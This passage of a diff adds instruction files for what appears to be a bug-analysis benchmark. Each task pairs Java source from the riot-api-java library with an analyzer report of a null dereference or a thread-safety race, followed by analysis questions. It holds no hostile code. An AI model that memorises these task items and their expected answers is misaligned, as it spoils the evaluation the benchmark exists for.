+    public void setKey(String key) {
+        this.key = key;
+    }
+
+    /**
+     * Set the region
+     *
+     * @param region The region to set
+     */
+    public void setRegion(Region region) {
+        this.region = region;
+        setEndpoint();
+    }
+
+    /**
+     * Get the base URL for all API requests
+     *
+     * @return The base URL for all API requests
+     */
+    public String getEndpoint() {
+        return endpoint;
+    }
+
+    private void setEndpoint() {
+        this.endpoint = region.getEndpoint();
+    }
+    
+    public RiotApi clone() {
+    	return new RiotApi(this.key, this.region);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `getDataItemList(...)` at line 1369.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ItemList RiotApi.getDataItemList()
+
+### Procedure Id:
+main.java.riotapi.RiotApi.getDataItemList():dto.Static.ItemList.734a7cdb2ccc6d2020b4a97ca6a89ba9
+
+### File:
+src/main/java/riotapi/RiotApi.java
+
+### Key:
+RiotApi.java|getDataItemList|NULL_DEREFERENCE
+
+### Node Key:
+d46e1684de2ca326ba231ad8a5b48143
+
+### Hash:
+e99bd4c5f6b9ff2f88f3260d9bbd0c15
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8364/instruction.md b/inferredbugs-8364/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ab911ff79d79aa2c90a9ec132d22133d0916c160
--- /dev/null
+++ b/inferredbugs-8364/instruction.md
@@ -0,0 +1,497 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riot-api-java
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016 Taylor Caldwell
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package net.rithms.riot.api.request;
+
+import java.io.BufferedReader;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.reflect.Type;
+import java.net.HttpURLConnection;
+import java.net.SocketTimeoutException;
+import java.net.URL;
+import java.util.logging.Level;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonSyntaxException;
+
+import net.rithms.riot.api.ApiConfig;
+import net.rithms.riot.api.ApiMethod;
+import net.rithms.riot.api.HttpHeadParameter;
+import net.rithms.riot.api.RateLimitException;
+import net.rithms.riot.api.RiotApi;
+import net.rithms.riot.api.RiotApiException;
+
+/**
+ * This class is used to fire synchronous call at the Riot Api. You should not construct these requests manually. To fire synchronous
+ * requests, use a {@link RiotApi} object.
+ * 
+ * @author Daniel 'Linnun' Figge
+ * @see RiotApi
+ */
+public class Request {
+	public static final int CODE_SUCCESS_OK = 200;
+	public static final int CODE_SUCCESS_NO_CONTENT = 204;
+	public static final int CODE_ERROR_BAD_REQUEST = 400;
+	public static final int CODE_ERROR_UNAUTHORIZED = 401;
+	public static final int CODE_ERROR_FORBIDDEN = 403;
+	public static final int CODE_ERROR_NOT_FOUND = 404;
+	public static final int CODE_ERROR_UNPROCESSABLE_ENTITY = 422;
+	public static final int CODE_ERROR_RATE_LIMITED = 429;
+	public static final int CODE_ERROR_SERVER_ERROR = 500;
+	public static final int CODE_ERROR_SERVICE_UNAVAILABLE = 503;
+
+	private RequestState state = RequestState.Waiting;
+	private RequestResponse response = null;
+
+	protected ApiConfig config;
+	protected ApiMethod method;
+	protected HttpURLConnection connection = null;
+	private RiotApiException exception = null;
+
+	/**
+	 * Constructs a synchronous request
+	 * 
+	 * @param config
+	 *            Configuration to use
+	 * @param method
+	 *            Api method to call
+	 * @see ApiConfig
+	 * @see ApiMethod
+	 */
+	public Request(ApiConfig config, ApiMethod method) throws RateLimitException, RiotApiException {
+		init(config, method);
+		execute();
+	}
+
+	/**
+	 * Constructs a synchronous request. This allows child classes to create their own constructor.
+	 */
+	protected Request() {
+	}
+
+	/**
+	 * Attempts to cancel the request. This attempt will fail if the request has already been completed, or could not be cancelled for some
+	 * other reason. If successful, and this request has not started when {@code cancel} is called, this request should never run.
+	 * 
+	 * @return {@code false} if the request could not be cancelled, typically because it has already completed normally; {@code true}
+	 *         otherwise
+	 */
+	public boolean cancel() {
+		if (isDone()) {
+			return false;
+		}
+		state = RequestState.Cancelled;
+		return true;
+	}
+
+	/**
+	 * Executes the request
+	 * 
+	 * @throws RiotApiException
+	 *             If the Riot Api responds with an error code or parsing the response fails
+	 * @throws RateLimitException
+	 *             If a rate limit is exceeded
+	 */
+	protected synchronized void execute() throws RiotApiException, RateLimitException {
+		setState(RequestState.Waiting);
+		try {
+			URL url = new URL(method.getUrl());
+			connection = (HttpURLConnection) url.openConnection();
+			setTimeout();
+			connection.setDoInput(true);
+			connection.setInstanceFollowRedirects(false);
+			connection.setRequestMethod(method.getMethod().name());
+			for (HttpHeadParameter p : method.getHttpHeadParameters()) {
+				connection.setRequestProperty(p.getKey(), p.getValue());
+			}
+			String body = method.getBody();
+			if (body != null) {
+				connection.setRequestProperty("Content-Type", "application/json");
+				connection.setDoOutput(true);
+				DataOutputStream dos = new DataOutputStream(connection.getOutputStream());
+				dos.writeBytes(body);
+				dos.flush();
+				dos.close();
+			}
+
+			int responseCode = connection.getResponseCode();
+			if (responseCode == CODE_ERROR_RATE_LIMITED) {
+				String retryAfterString = connection.getHeaderField("Retry-After");
+				String rateLimitType = connection.getHeaderField("X-Rate-Limit-Type");
+				if (retryAfterString != null) {
+					int retryAfter = Integer.parseInt(retryAfterString);
+					throw new RateLimitException(retryAfter, rateLimitType);
+				} else {
+					throw new RateLimitException(0, rateLimitType);
+				}
+			} else if (responseCode < 200 || responseCode >= 300) {
+				throw new RiotApiException(responseCode);
+			}
+
+			StringBuilder responseBodyBuilder = new StringBuilder();
+			if (responseCode != CODE_SUCCESS_NO_CONTENT) {
+				BufferedReader br = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8"));
+				String line;
+				while ((line = br.readLine()) != null) {
+					responseBodyBuilder.append(line).append(System.lineSeparator());
+				}
+				br.close();
+			}
+			setResponse(new RequestResponse(connection.getResponseCode(), responseBodyBuilder.toString(), connection.getHeaderFields()));
+			setState(RequestState.Succeeded);
+		} catch (RiotApiException e) {
+			setException(e);
+			setState(RequestState.Failed);
+			throw e;
+		} catch (SocketTimeoutException e) {
+			RiotApiException exception = new RiotApiException(RiotApiException.TIMEOUT_EXCEPTION);
+			setException(exception);
+			setState(RequestState.TimeOut);
+			RiotApi.log.log(Level.FINE, "Request Timeout", e);
+			throw exception;
+		} catch (IOException e) {
+			RiotApiException exception = new RiotApiException(RiotApiException.IOEXCEPTION);
+			setException(exception);
+			setState(RequestState.Failed);
+			RiotApi.log.log(Level.SEVERE, "IOException in Request", e);
+			throw exception;
+		} finally {
+			if (connection != null) {
+				connection.disconnect();
+			}
+		}
+	}
+
+	/**
+	 * Retrieves the result of the request.
+	 * 
+	 * @return The object returned by the api call
+	 * @throws IllegalStateException
+	 *             If this request did not complete yet or did not succeed
+	 * @throws RiotApiException
+	 *             If parsing the Riot Api's response fails
+	 */
+	public <T> T getDto() throws RiotApiException, RateLimitException {
+		return getDto(false);
+	}
+
+	/**
+	 * Retrieves the result of the request.
+	 * 
+	 * @param overrideStateRequirement
+	 *            If set to {@code true}, this method will not check the status of the request, and thus not throw an
+	 *            {@code IllegalStateException}
+	 * @return The object returned by the api call
+	 * @throws IllegalStateException
+	 *             If this request did not complete yet or did not succeed
+	 * @throws RiotApiException
+	 *             If parsing the Riot Api's response fails
+	 */
+	@SuppressWarnings("unchecked")
+	protected <T> T getDto(boolean overrideStateRequirement) throws RiotApiException {
+		if (!overrideStateRequirement) {
+			requireSucceededRequestState();
+		}
+		Class<?> clazz = method.getDtoClass();
+		if (clazz != null) {
+			return (T) getDto((Class<T>) clazz);
+		}
+		Type type = method.getDtoType();
+		if (type != null) {
+			return getDto(type);
+		}
+		throw new NullPointerException(
+				"The ApiMethod \"" + method.getClass().getName() + "\" has not set a dtoType. If you encounter this issue, please file a bug.");
+	}
+
+	private <T> T getDto(Class<T> desiredDto) throws RiotApiException {
+		if (response.getCode() == CODE_SUCCESS_NO_CONTENT) {
+			// The Riot Api is fine with the request, and explicitly sends no content
+			return null;
+		}
+		T dto = null;
+		try {
+			dto = new Gson().fromJson(response.getBody(), desiredDto);
+		} catch (JsonSyntaxException e) {
+			RiotApiException exception = new RiotApiException(RiotApiException.PARSE_FAILURE);
+			setException(exception);
+			throw exception;
+		}
+		if (dto == null) {
+			RiotApiException exception = new RiotApiException(RiotApiException.PARSE_FAILURE);
+			setException(exception);
+			throw exception;
+		}
+		return dto;
+	}
+
+	private <T> T getDto(Type desiredDto) throws RiotApiException {
+		if (response.getCode() == CODE_SUCCESS_NO_CONTENT) {
+			// The Riot Api is fine with the request, and explicitly sends no content
+			return null;
+		}
+		T dto = null;
+		try {
+			dto = new Gson().fromJson(response.getBody(), desiredDto);
+		} catch (JsonSyntaxException e) {
+			RiotApiException exception = new RiotApiException(RiotApiException.PARSE_FAILURE);
+			setException(exception);
+			throw exception;
+		}
+		if (dto == null) {
+			RiotApiException exception = new RiotApiException(RiotApiException.PARSE_FAILURE);
+			setException(exception);
+			throw exception;
+		}
+		return dto;
+	}
+
+	/**
+	 * Returns the exception that was thrown when calling {@link #execute()}.
+	 * 
+	 * @return The exception that was thrown when executing this request
+	 */
+	public RiotApiException getException() {
+		if (!isFailed()) {
+			return null;
+		}
+		return exception;
+	}
+
+	/**
+	 * Returns the raw response from the Riot Api
+	 * 
+	 * @return A {@link RequestResponse} object, providing raw data of the Riot Api's response
+	 * @see RequestResponse
+	 */
+	public RequestResponse getResponse() {
+		return response;
+	}
+
+	/**
+	 * Initializes the request object. Child classes should call this method instead of the super constructor, if they don't want the
+	 * request to execute automatically.
+	 * 
+	 * @param config
+	 *            ApiConfig object
+	 * @param method
+	 *            ApiMethod object
+	 * @see ApiConfig
+	 * @see ApiMethod
+	 */
+	protected void init(ApiConfig config, ApiMethod method) {
+		this.config = config;
+		this.method = method;
+	}
+
+	/**
+	 * Returns {@code true} if this request was cancelled before it completed normally.
+	 * 
+	 * @return {@code true} if this request was cancelled before it completed
+	 */
+	public boolean isCancelled() {
+		return state == RequestState.Cancelled;
+	}
+
+	/**
+	 * Returns {@code true} if this request completed. Completion may be due to normal termination, an exception, cancellation or timing out
+	 * -- in all of these cases, this method will return {@code true}.
+	 * 
+	 * @return {@code true} if this request completed
+	 */
+	public boolean isDone() {
+		return state != RequestState.Waiting;
+	}
+
+	/**
+	 * Returns {@code true} if this request failed.
+	 * 
+	 * @return {@code true} if this request failed
+	 */
+	public boolean isFailed() {
+		return state == RequestState.Failed;
+	}
+
+	/**
+	 * Returns {@code true} if this request is still waiting for a response from the Riot Api.
+	 * 
+	 * @return {@code true} if this request is still waiting for a response
+	 */
+	public boolean isPending() {
+		return state == RequestState.Waiting;
+	}
+
+	/**
+	 * Returns {@code true} if this request completed successfully.
+	 * 
+	 * @return {@code true} if this request completed successfully
+	 */
+	public boolean isSuccessful() {
+		return state == RequestState.Succeeded;
+	}
+
+	/**
+	 * Returns {@code true} if this request timed out before it completed normally.
+	 * 
+	 * @return {@code true} if this request timed out before it completed
+	 */
+	public boolean isTimeOut() {
+		return state == RequestState.TimeOut;
+	}
+
+	/**
+	 * Checks that the current state of this request is succeeded.
+	 * 
+	 * @throws IllegalStateException
+	 *             If the state of this request is anything other than {@code RequestState.Succeeded}.
+	 */
+	protected void requireSucceededRequestState() {
+		if (state == RequestState.Waiting) {
+			throw new IllegalStateException("The request has not received a response yet");
+		} else if (state == RequestState.Cancelled) {
+			throw new IllegalStateException("The request has been cancelled");
+		} else if (state == RequestState.Failed) {
+			throw new IllegalStateException("The request has failed");
+		}
+	}
+
+	/**
+	 * Sets the Exception that was thrown when executing this request
+	 * 
+	 * @param exception
+	 *            Exception
+	 * @see RiotApiException
+	 */
+	protected void setException(RiotApiException exception) {
+		this.exception = exception;
+	}
+
+	private void setResponse(RequestResponse response) {
+		this.response = response;
+	}
+
+	/**
+	 * Sets the state of this request, if the request is not already done.
+	 * 
+	 * @param state
+	 *            State
+	 * @return {@code true} if the state has been changed
+	 * @see RequestState
+	 */
+	protected boolean setState(RequestState state) {
+		if (isDone()) {
+			return false;
+		}
+		this.state = state;
+		return true;
+	}
+
+	/**
+	 * Sets the timeout according to the {@link ApiConfig} object, associated with this request.
+	 */
+	protected void setTimeout() {
+		setTimeout(config.getRequestTimeout());
+	}
+
+	/**
+	 * Sets a specified timeout value, in milliseconds, until connecting to or reading from the Riot Api times out.
+	 * 
+	 * @param timeout
+	 *            Timeout value in milliseconds
+	 */
+	protected void setTimeout(int timeout) {
+		if (connection != null && timeout > 0) {
+			connection.setConnectTimeout(timeout);
+			connection.setReadTimeout(timeout);
+		}
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `net.rithms.riot.api.request.Request.getException` indirectly reads without synchronization from `this.net.rithms.riot.api.request.Request.state`. Potentially races with write in method `Request.execute()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+RiotApiException Request.getException()
+
+### Procedure Id:
+net.rithms.riot.api.request.Request.getException():net.rithms.riot.api.RiotApiException.d0163e0886ae26365f53323f8b8bc3f9
+
+### File:
+src/net/rithms/riot/api/request/Request.java
+
+### Key:
+Request.java|getException|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+35ec52cf81a69cd558857e257c889b34
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8365/instruction.md b/inferredbugs-8365/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..741d1936c26d4240a15e2d259f1df2d33d42b4c8
--- /dev/null
+++ b/inferredbugs-8365/instruction.md
@@ -0,0 +1,1906 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riot-api-java
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package main.java.riotapi;
+
+/**
+ * Riot Games API Java Library
+ * riot-api-java
+ * by Taylor Caldwell - @rithms
+ * http://rithms.im 
+ */
+
+/*
+ * Copyright 2014 Taylor Caldwell
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import java.util.List;
+import java.util.Map;
+
+import constant.PlatformId;
+import constant.QueueType;
+import constant.Region;
+import constant.Season;
+import constant.staticdata.ChampData;
+import constant.staticdata.ItemData;
+import constant.staticdata.ItemListData;
+import constant.staticdata.MasteryData;
+import constant.staticdata.MasteryListData;
+import constant.staticdata.RuneData;
+import constant.staticdata.RuneListData;
+import constant.staticdata.SpellData;
+import dto.Champion.*;
+import dto.CurrentGame.CurrentGameInfo;
+import dto.FeaturedGames.FeaturedGames;
+import dto.Game.RecentGames;
+import dto.League.League;
+import dto.Match.MatchDetail;
+import dto.MatchHistory.PlayerHistory;
+import dto.Team.Team;
+import dto.Static.ChampionList;
+import dto.Static.GameMapList;
+import dto.Static.Item;
+import dto.Static.ItemList;
+import dto.Static.LanguageStrings;
+import dto.Static.Mastery;
+import dto.Static.MasteryList;
+import dto.Static.Realm;
+import dto.Static.Rune;
+import dto.Static.RuneList;
+import dto.Static.SummonerSpell;
+import dto.Static.SummonerSpellList;
+import dto.Stats.PlayerStatsSummaryList;
+import dto.Stats.RankedStats;
+import dto.Status.Shard;
+import dto.Status.ShardStatus;
+import dto.Summoner.MasteryPages;
+import dto.Summoner.RunePages;
+import dto.Summoner.Summoner;
+import method.*;
+
+public class RiotApi {
+
+    /**
+     * The base URL for all API requests
+     */
+    private String endpoint = Region.GLOBAL.getEndpoint();
+
+    private Region region = Region.NA; // North American region default
+    private Season season = null;
+    private String key;
+
+    public RiotApi() {
+    }
+
+    public RiotApi(String key) {
+        this.setKey(key);
+    }
+
+    public RiotApi(String key, Region region) {
+        this.setKey(key);
+        this.setRegion(region);
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * Get all the champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the set region when
+     * freeToPlay is true A list of all the champions for the set region when
+     * freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all champions for a given region
+     *
+     * @param region The desired region
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the given region
+     * when freeToPlay is true A list of all the champions for the given region
+     * when freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region, boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all free to play champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the free to play champions for the given region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), true);
+    }
+
+    /**
+     * Get all free to play champions for a set region
+     *
+     * @return A list of all the free to play champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), true);
+    }
+
+    /**
+     * Get a champion by id for a given region
+     *
+     * @param region The desired region
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(Region region, int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(region.getEndpoint(), region.getName(), getKey(), champId);
+    }
+
+    /**
+     * Get a champion by id for a set region
+     *
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(getEndpoint(), getRegion(), getKey(), champId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(Region region, long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(String summonerIds) throws RiotApiException {
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * 
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues() throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * 
+     * @param region
+     * @param queueType
+     * @throws RiotApiException
+     */
+    public League getChallengerLeagues(Region region, QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(region.getEndpoint(), region.getName(), getKey(), queueType);
+    }
+
+    /**
+     * 
+     * @param queueType
+     * @throws RiotApiException
+     * @return League
+     */
+    public League getChallengerLeagues(QueueType queueType) throws RiotApiException {
+
+        return LeagueMethod.getChallengerLeagues(getEndpoint(), getRegion(), getKey(), queueType);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(Region region, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(region.getEndpoint(), region.getName(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get a summary of player statistics for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A summary of player statistics for the given summoner
+     * @see PlayerStatsSummaryList
+     * @throws RiotApiException
+     */
+    public PlayerStatsSummaryList getPlayerStatsSummary(long summonerId) throws RiotApiException {
+
+        return StatsMethod.getPlayerStatsSummary(getEndpoint(), getRegion(), getSeason(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Region region, Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(region.getEndpoint(), region.getName(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param season The desired season
+     * @return Ranked statistics of the given summoner
+     * @see RankedStats
+     * @throws RiotApiException
+     */
+    public RankedStats getRankedStats(Season season, long summonerId) throws RiotApiException {
+
+        return StatsMethod.getRankedStats(getEndpoint(), getRegion(), season.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get the ranked statistics of a given summoner
+     *
+     * @param region The desired region
